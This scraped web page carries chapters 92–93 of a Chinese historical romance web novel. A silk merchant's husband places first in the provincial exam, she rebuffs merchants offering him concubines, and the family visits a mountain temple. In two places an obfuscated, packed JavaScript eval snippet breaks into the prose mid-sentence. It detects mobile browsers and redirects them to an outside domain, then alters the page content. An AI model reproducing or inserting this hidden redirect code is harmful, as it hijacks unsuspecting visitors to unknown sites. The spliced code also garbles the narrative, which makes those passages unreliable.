堂里店小二识得华纱庄的东家，一见两人进来就双眼发亮，殷勤地上去招待，还给挪了一个靠墙的位置出来。 余晚桃抛了几文赏钱过去，“来两碗你们这的招牌汤面。” “欸！您二位先坐着喝碗新鲜热滚的白玉蹄汤，桌上小食也可随意吃，两碗招牌汤面马上就好。” 店小二麻利地退了下去，很快后厨那头传来他活力满满的声音。 崔玉棠拿绢帕出来仔细擦拭了一遍木筒里的竹箸，才递给自家娘子，他神情轻松：“这面馆开的时间短，熟客却不少，想来味道是不错。” “铺子里好些客人都同我推荐这家面馆呢。” 余晚桃弯着眼睛笑，吃了几口麻辣的小食，转而去喝店小二盛过来的白玉蹄汤。 汤很鲜，还带着淡淡的甜，余晚桃给对面的书生舀了一勺过去，“这个汤不错，试试？” 崔玉棠顺其自然地倾身过去，唇瓣碰到瓷勺边沿，他轻抿了一口，评价道：“确实甜。” 92. 第 92 章 余小娃难得回来一趟，路上风餐露宿没吃几口热乎的，这会厨娘们做了一大桌子菜，他自个捧着大饭盆几乎将桌上的菜横扫一空。 窈儿笑着摸摸他后脑勺说：“再过两年，小娃这个子怕还有得长。” 余小娃有些脸红，埋头吃饭。 余小器兀自瞪着他。 余晚桃乐道：“瞪小娃有甚用，你自个懒，读书不勤快，锻炼身体也不乐意，还指着夜里睡觉长个不成？” 余小器幽怨地扒了一口饭：“我过几年肯定会长得气宇轩昂的！我爹身高八尺，威武霸气，我定然也是这般厉害。” “你爹？”，余晚桃从未听余小器说过他家里人，只记得初到她家时，似乎有说过他家里会来找的。 当时买的小厮，如今几年相处下来，已然如家人一般，若真是走失被拐子卖了，此刻家里不知多担心。 “你家在何处？怎么从前不见你说过。” 余小器眼睛骨碌转了转，嚷声道：“有甚好说的，等陪少爷去京都科考后，我自然就会回家了，我让我爹出大钱赎我，这样你就有很多很多银子，可以在京都东大街买大宅子大铺子了。” 真孝死亲爹…… 余晚桃额际划过黑线：“你就没想过，你家里人会担心？” 余小器无所谓地晃着脑袋：“都担心这么些年了，再多几个月也没事，反正我爹还有其他儿子可以揍，也不指着我一个。” “你爹怎么还揍人？”，窈儿犹豫着，有些担心道：“要不别回去了，我们家里也没亏待你，起码不会挨揍。” 余小器闷闷摇头。 这小子，嘴上蛮不在意，其实就是想家了，挨揍也想。 余晚桃眉间多了一丝忧愁。 夜里各自散了去，余晚桃从箱笼底找出余小器和余小娃的卖身契，举在烛火下看了会，转身出去，往小哥俩的院子走。 自从长大了些，两人就不住一间屋了，但也在相邻处，两扇房门紧紧挨着。 余晚桃两边敲了下，将人唤到院里石桌坐下，手里的卖身契交由他们自己手上，“你们也长大了，这一纸卖身契其实早就形同虚设了，只从前未曾想到这些。” 拿到卖身契，余小娃先慌起来，他如临大敌般腾地站起来，“东家要赶我们走嘛！” “哪里是要赶你们走，回来坐好。”，余晚桃拧着眉头，往旁边的石凳子示意。 余小娃垂头丧气地坐回去。 余晚桃这才语重心长道：“这卖身契今日给了你们，你们从此便是自由身，小器将来是要回家的，小娃你也莫要多想，你唤我一声东家，此处便是你的居所。” “等你长大些，娶妻生子，置宅立户，到那时，你也会有自己的家。” 余小娃今年十五，早已懂事了，知道东家这是为了他们好，捏着自己的卖身契，少年挺着的肩膀往下耷了耷，微不可闻地“嗯”了一声。 心里却不由自主地对自己将来的家，有了些小小的期待。 男儿成家前要先立业，余小娃自从跟随商队在各府州跑了一圈后，便觉得从前的自己是井底之蛙，心境也随之改变。 他有强健的身体和武艺，不应该就此虚度。 余小娃目光逐渐坚定：“我想去参军，去边塞，听说那有永不落幕的太阳，数不清的牛羊和一望无际的草原，我想去看看。” “傻呀你，边塞苦寒之地，只有刀割一样的狂风和吃不完的沙子，三步一羊屎五步一牛粪，去那吃苦作甚。”，余小器皱着脸吐槽，这小子傻了不成，一朝得自由就想往最苦的地方钻。 “可是大魏千千万的男儿都去了，他们驻守在边塞，抵御外敌入侵，保家卫国，我也可以！我不怕吃苦！”，余小娃豪情壮志，愈发坚定自己选择的这条道路，眼中充满了光亮。 余小器怔了下，郁闷地撇了撇嘴。 “小器，你以后想做什么？” 余小器随口道：“我做给你送粮草的那个，行了吧。” 余小娃挠脑袋，憨憨笑着。 月色静谧，照在院子里，少年清朗的笑声干净单纯，抱着对未来的无限憧憬和期待，充斥着蓬勃的生命力。 翌日乡试结束，考场外围了许多来接人的马车，余晚桃来得早便占到了好位置，是以崔玉棠一出来，便看到了朝他挥手的娘子。 崔玉棠神色虽有些疲惫，但瞧着步伐稳健，可见平日里每日的锻炼起了效果，比那些虚弱惨白着脸的书生要好太多。 “走，回家去。”，余晚桃嘴角上扬，欲去牵他手。 崔玉棠偏身躲过：“三日未洗漱了，身上脏。” 他掀开车帘，先把手上的篮子递给坐在车辕边的小厮，而后大步跨上去，拿里面的水净了手，才回头去牵自家娘子，将人拉上马车。 马车摇摇晃晃，往家里去。 一到家，崔玉棠便央人送热水，迫不及待地洗去一身疲惫和异味，出来时偏堂已备上满桌好酒好菜。 正中间砂锅里的鸡汤冒出几根参条，鹿茸片，一锅汤熬得浓白鲜香，而唯二的鸡腿随着第一碗汤舀起，放在他面前。 崔玉棠微卷宽袖，坐下后喝了口汤，感觉连吃三日干粮的辛苦在此刻通通都值得了。 “考完了便好好歇歇，玉石铺的苏夫人约了我去弘恩寺避暑，你可想去？” 崔玉棠拿起筷箸将碗中的鸡腿夹到自家娘子碗里，神情带着慵懒：“不了，我若去了苏夫人该不自在。” “明日我去书院，有位师兄要来探望老师，老师说让我去见见，尽一下地主之谊，我那师兄是京都人，想来学问见识都极好，我借此机会能多向师兄探讨文章。” “那可得好生招待着，说不准你会试去京都时还要打扰那位师兄呢。” 崔玉棠失笑：“老师也是这么想的。” 京都贵人之地，有个熟识的照应一番能免去许多麻烦。 “不过游兄在京都，七月上京，也该是会见到了。”，崔玉棠浅酌一口温凉的果酒，隐隐有些期待。 他种种计划，皆是在乡试中第的前提下，俨然胸有成竹，并未想过落第的可能。 崔玉棠对此次乡试，势在必得。 乡试结束后，府城又热闹起来，酒楼食肆皆是书生们讨论此次乡试内容的声音，与此同时，从京中传出的一则政闻，引起不少人议论。 朝中圣人派出使团前往北蛮，欲打通两国边境禁区，互通商路。 北蛮有上好的马和牛羊，奶制品能更好地抚育孩童，强健体魄，而大魏则有顶级丝绸，和铁器，能锻造出锋利的刀剑和上等马鞍。 两国从前大小摩擦不断，今上登位后以雷霆之势收拾了一趟北蛮，又十分人道地划定边界线，至此相安无事。 如果能和平互通，于两国而言无疑是百利而无一害的。 “听说带领使团出使北蛮的，正是那位以诡辩出名的前首辅闻人无庸，论闻人无庸其人，乃我朝第一权臣，一门双皇后，前朝晖太子和如今东宫那位，皆是闻人一族所出，可谓满门荣宠。” “荒谬！” 惊堂之下，一书生愤慨拍桌，起身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14775154|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 激昂道：“闻人先生早已致仕，其知天命之年却要远赴北蛮，一路风霜雨雪险境重重。这算甚荣宠？我看就是圣人专宠瑛贵妃一派，故而容不下闻人家，要故意打压才是！” “你不要命啦！”，书生身侧的好友脸色忽然大变，将其捂住嘴，咬牙切齿道：“圣人岂是你我能妄议的，简直愚蠢无知！” “就是，你想满门抄斩可别连累我们。” 与那书生同桌的几位，黑着脸起身换了位置，生怕那些人将他们算作一伙，平白被波及到。 此时茶肆二楼，在一处靠栏杆的位置上，余晚桃与苏夫人相对而坐，面前茶香萦绕，温得恰恰好。 余晚桃给自个倒了一杯茶，慢悠悠道：“口无遮拦，性子刚烈，此等人就算是入了官场，结局也只有死路一条。” 苏夫人不屑地哼了一声：“迂腐书生，真是疯的不轻，连圣人都敢指责，皇家事岂是我们能议论的。” 先不论闻人家与圣人之间如何制衡的问题，单通商一决策，对于他们这些商户来说，便是天大的好事，两地易货，能产生的利润是非常大的，其中要属影响最大的，就是大魏的丝绸商。 苏夫人饶有兴趣地问：“余娘子家中是蚕布自销？若是通商了，自己组建商队，将丝绸布匹绒花品等物运到北蛮去，这可是一大商机。” 余晚桃自是知晓，她饮了口茶，心念微动，看来还是得多关注朝廷关于商业的政策，现在出使北蛮，如果顺利，到下半年通商之策应该能实行。 趁此东风，狠赚一笔不是问题。 辞别了苏夫人，余晚桃回家后便写信给容县那边，买地，扩建，增设养蚕大棚，势在必行！ “姐！兄长中了！” 窈儿激动的声音伴随着疾行的脚步声，她一把推开书房的门，微喘着气道：“兄长中了！解元！” 她捂着飞快跳动的心脏，整个人仿佛炸开了一般，语速飞快地接着说：“报喜的官爷已经到堂前呢，如今兄长不在府上，得你快过去迎接着。” 余晚桃丝毫没有犹豫，抓了一把银子塞进钱袋里便与窈儿快步往正堂走，且边走边问：“今日乡试开榜，二郎怎不在？” 窈儿：“兄长说去看榜了的，许是他与报喜的官兵错过了。” 余晚桃眼皮子猛跳了下，急急忙忙地赶过去，好在那两官兵不计较被晾这一会，又许是因为崔玉棠乡试解元的名头，不敢造次。 两人道完喜，留下官府给乡试解元的赏赐便要离去，余晚桃将沉甸甸的钱袋子推了过去，“二位官爷辛苦了，这几个铜板就当是茶钱。” 两报喜的官爷掂着手里沉甸甸的钱袋，这哪里是几个铜板，估摸着有四五两银子了，二人义正言辞地推诿了一番，才“勉强”地收了这份孝敬过来的茶钱，心满意足地离去。 崔玉棠被缠着一顿道贺，回来时又正与那报喜的官爷错过，到家时，他中解元的喜报已经传散开了。 “崔举人，恭喜了。”，余晚桃抿唇轻笑，故作正经地给书生道贺。 崔玉棠从容自若：“崔夫人，同喜了。” 余晚桃脸上的笑容渐渐绽放，眼尾微弯，眉梢间带着温柔狡黠的笑意，她摸着下巴围绕书生走两圈，煞有其事地说：“二郎长得俊读书也好，如今已然是解元老爷，明日鹿鸣宴，那些大人们争着要把女儿许配给你咯。” 崔玉棠淡然一笑，温和道：“崔某惭愧，家有糟糠妻不可弃也，恐只能辜负各位大人了。” “糟糠妻”本人，闻言笑得更欢乐了。 她瞪了书生一眼。 93. 第 93 章 余晚桃乐不到一日，府城好几位富商纷纷领着家里娇俏可人的姑娘上门来，言辞恳切地表示自愿为妾，服侍举人老爷。 崔玉棠去了鹿鸣宴，这些漂亮姑娘倒让余晚桃过上眼了，她认真地打量好半天：“都是娇俏水灵的，难为几位老板舍得。” “余老板说笑了，能服侍举人老爷那是小女天大的荣耀，您整日忙着生意，想来也无法专心打理内宅之事，如今收几个回院里，给您分担着，岂不两全其美？” “我是甚大方的人不成？”余晚桃连盏茶都懒得叫人送上来，她坐到正堂之中，心中带着一股怒火。 “进来前也不抬头看看我府门匾额上悬挂的是什么，真当我是泥捏的了，此处是我余家的产业，他崔玉棠身上一衣一着皆是我赚回来的。” “解元怎么了？他照样得守我的规矩，你们也甭打这些心思，省得坏了你我生意上的情分，往后再合作，我可就没这好脸色了。” 华纱庄这么几年经营下来，话事权皆在她一人，能有本事挣出这份身家，自然不是无能之辈，更不是需要仰人鼻息过活的后宅女子，能忍着自己委屈，给夫君纳妾，给自己添堵。 余晚桃脸色寒了几分，声音冰冷：“今儿我就把话撂这，旁的人别想进我余家的门，至于他崔家的，你们尽可自己去问，他若应了，我们这夫妻情分也就断了。” “诸位老板存心给我添堵，坏我婚姻，我也不会以德报怨，这以后的生意就各做各的了。” “这……余老板，何必将事情闹得这般难看呢，大家都是在府城里做生意的，再说了，男子三妻四妾也是常有的事，这又何必动怒。” “那是因为你们是利益既得者，自然无所谓。”，余晚桃幽幽撇去一抹充满讽刺的眼神。 这些富户家中无一不是妻妾成群，庶子庶女一大堆，素日里被奉承惯了，肆意在后宅挥使自己那无上的绝对的父权夫权，偶而遇到不甘于后宅的女子，便大大义凛然地斥责那些人离经叛道，德行无状。 头一年做生意，余晚桃便遭了这些人许多排挤，后来无非看她经商眼光毒辣，能带着他们赚钱，才转变了看法，只是烂人骨子里是烂根，终究改不了本性。 话说到这份上，两厢都有了怨气，几个富户拂袖而去，转头又吩咐家里小厮过来盯着，准备等解元老爷回来后，来告上一状，好教那嚣张的商妇杀杀气焰。 余晚桃让余小娃给在外面蹲点的人套上麻袋打一顿，将人赶走。 崔玉棠去参加鹿鸣宴回来得晚，身上酒气冲天，衣襟湿透，但眼神清明，步伐稳健，显然浓重的酒气是来自他湿透的衣襟。 回到房中，他解了外袍，内衫，只着雪白柔软的里衣，坐到书案前去，将今日鹿鸣宴上得到的官员信息一一陈列，记录，又默了一篇文章，才起身去叫水，洗漱。 一番折腾，沾着床时已接近子时，床内侧早没了动静，崔玉棠侧身，借着微弱的光线端详着自家娘子安静美好的睡颜，一日奔波的心缓缓落定。 次日醒来，崔玉棠原以为等待自己的会是娘子温柔的笑脸，结果迎接他的只有一张冷酷无情转身而去的背影。 崔玉棠急忙起身穿衣，匆匆洗漱追过去。 到了偏堂用早食，连窈儿都无视他了。 崔玉棠动手舀了一碗山药粉熬的红枣粥，放到余晚桃面前，给自己解释道：“昨儿鹿鸣宴文大人确实留我们这些学子久了些，但我酒喝得少，全洒衣襟上了。” 窈儿捏着根瓷白的勺，低头喝了一口粥：“兄长昨儿若回早些，姐姐就不必受旁人的气了。” “受谁的气？”，崔玉棠修眉紧锁，声音往下沉了沉。 “那些想着攀你这门亲事的人呗。”，窈儿撇嘴。 “不用理会那些人。”，崔玉棠淡淡道：“若再上门来，只管叫下人打发了便是。” 余晚桃心里确实窝着火气，听书生这会亲口说了，知晓他的态度，才缓和了些，说到底那些人过来巴结讨好，书生全程不知情，也属实不该受她的迁怒。 不过，话里还是要矜持的。 余晚桃挑眉道：“怎么不见见？那可都是仙姿凤貌的小娘子。” 崔玉棠脸上满是无奈：“阿桃可别再拿我打趣了。” “行吧，不说这个了。”，余晚桃收回视线：“我已回了苏夫人的邀，要到弘恩寺去避暑祈福，她们家在山腰那有庄子，许是会住上几日。” 崔玉棠闻言，缓缓放下瓷羹，修长的指节在桌前随意一放，轻轻敲着，须臾道：“乡试揭榜后，许多人都上门来拜访，帖子递了厚厚一沓，实在没法子静下心来看书。” 他意有所指，余晚桃一听便懂。 不过，“前几日不还说若你去了苏夫人该不自在？怎么这会想去了，可晚咯，苏夫人准备带着她几个未出阁的小姑子一起去。” “一行里都是女眷，你不能跟着去。” 崔玉棠不甘心道：“弘恩寺在城外山林中，一行都是女眷，太过危险。” “府城里诸多官员家眷都爱去弘恩寺祈福，寺庙重视着，山中各处都有武僧值守，应是安全的。” “那也该多带些人。”，崔玉棠思索道：“让小娃陪着去吧，他身手好，还能帮着拿东西。” “那也行，我带他一道去。” 余小器闻言踊跃举手：“我也想去！” 崔玉棠拿帕子抿了抿嘴，淡然扫了这小子一眼：“我打算在家温书，你若觉闲着无聊便跟去吧。” 事至此落定，最终是家里一行人包括窈儿都跟着余晚桃去弘恩寺了，留下崔玉棠一个孤家寡人，闭门谢客，独守空院，埋头抱着书啃。 . 堪堪入夏的时节，山里景致都透着葱葱绿意，刚结了蕊的野果子随处可见，松树青针茂密，遮天蔽日，走在山林间清爽阴凉，十分怡然。 苏夫人扭头瞧瞧同自家几个小姑子聊得正欢乐的窈儿姑娘，挽过余晚桃的手笑道：“我娘家哥哥，有一嫡子品性是极好的，样貌也周正，我看与窈儿甚般配，要不要咱两家牵个亲？” 余晚桃低低叹道：“只好是不行，得窈儿喜欢才是。” 苏夫人：“都没见过，怎知喜不喜欢？” “她呀，现在可只想着铺子里的事。”，余晚桃笑着给拒了，“左右年纪也不大，她不想相看夫君那就多留几年。” “现在十七，年纪正妙，合欢合宜。”，苏夫人继续游说着，显然很想促成这门亲事。 一来是看中那崔举人的前途，二来也实在喜欢窈儿，生得貌美动人，有主见有能力，很适合掌家管事，将来不管到谁家去，定都能将家宅打理得妥帖。 “苏夫人，光我同意可不成，还得窈儿自己有那想法，我和二郎向来都是让她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794439|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自个做主的，这事讲究缘分，强求不来。”，余晚桃轻声温语，“她若真和你娘家侄子有缘，以后自有发展，今儿难得好兴致，可不说这些了，我看那处观景台不错，去坐坐歇会？” 苏夫人连连说是，朗声笑了起来，这余娘子不愧是商道浸/淫/已久的，拒绝人的话都说得这么漂亮，叫人挑不出错处。 此事确实不宜问得太紧，苏夫人心里暗暗思索着，看来得叫自家侄子到江南府这边，多多刷脸了。 一行人到了观景台，围着圆石桌坐下。 不远处两名武僧在打坐值守，朴素的灰色僧服随意散在地上，沾着旁处尤带露珠的花草，一武僧小心翼翼地将被压弯的花簇拯救出来，合手对其告歉，轻喃佛语。 佛门慈悲，怜爱草木终生。 丫鬟们摆了些糕点茶水出来，余晚桃捡了块糕点吃，就见苏家里年纪最小的那姑娘拾了两块云片糕，噔噔跑出去，揪了宽草叶摆到那俩武僧跟前。 “请你们吃糕。”，她歪着脑袋，笑得眼睛弯弯的。 “多谢施主。” “绫姐儿，还不快回来，人师傅缺你两块云片糕吃不吃。”，苏夫人声音恼着喊，可眼里都是笑意，她把跑回来的绫姐儿摁到身边坐好。 “看我们家这几个姐儿，就属你最调皮。” 绫姐儿笑眯眯地吃糕。 余晚桃瞧她长得跟云片糕似的，白白软软，面颊圆圆，眼睛也清透，十分讨人喜欢。 “绫姐儿这样的真性情多好，年纪小就该随心些，等长大了一堆规矩要守，哪里能有这般自在的时候。” “那倒是。”，苏夫人目光放远，有些怀念道：“小时候我还时常跟着兄长去骑马走商呢，嫁了人就不行了，得守规矩，打开家宅，整日端着架子训那些犯错的下人。” “其实那些琐碎事没甚好训的，我在娘家时都懒得理会，可当家了才发现，就得严厉管着，否则没个规矩，一个个的就松散了，不拿主子当回事，处处敷衍。” 苏夫人掌家久了，在管理后宅上有自己的心得，她这么说出来，也是提点。 余晚桃深有体会：“这倒是，我刚掌家时对下人宽厚，有些没分寸的就会顺杆爬。” 窈儿吃着糕说：“要恩威并施。” 苏夫人眼睛里充满赞赏：“窈儿说到点子上了，就是恩威并施。” 几人歇息了一阵，待日过午，才继续往上走，很快就到了苏家庄子。 苏家庄子占地很大，建造仿照了苏扬那边的风格，三角斜顶八角檐，红木梁柱，院子错落有致，后面还有个很大的池塘。 安顿好后，苏夫人换了身薄薄的轻纱裙，躺在凉亭躺椅里，身后丫鬟在扇风，旁边还有一桶冒白雾的冰桶，石桌上放着蜜酿和切好的冰镇水果。 余晚桃跟着享受，一边吃水果一边看前面池塘里，下人们在捞虾钓鱼，“还是苏姐姐会享受，今儿可托了福，能吃上一顿现宰的河鲜了。” 苏夫人亲切地笑着：“那池塘里小虾嫩，晚些可要尝尝，我们呀今晚吃好歇好，明日再去弘恩寺祈福。” 余晚桃挺期待重游弘恩寺的，上次在弘恩寺大集遇到了贞娘，才叫她铺子里多了一门手艺，这次虽没集市开，但心诚则灵，去求个平安符也是好的。 只是，若能预料到此行引来的灾祸，余晚桃决计不会踏入弘恩寺一步。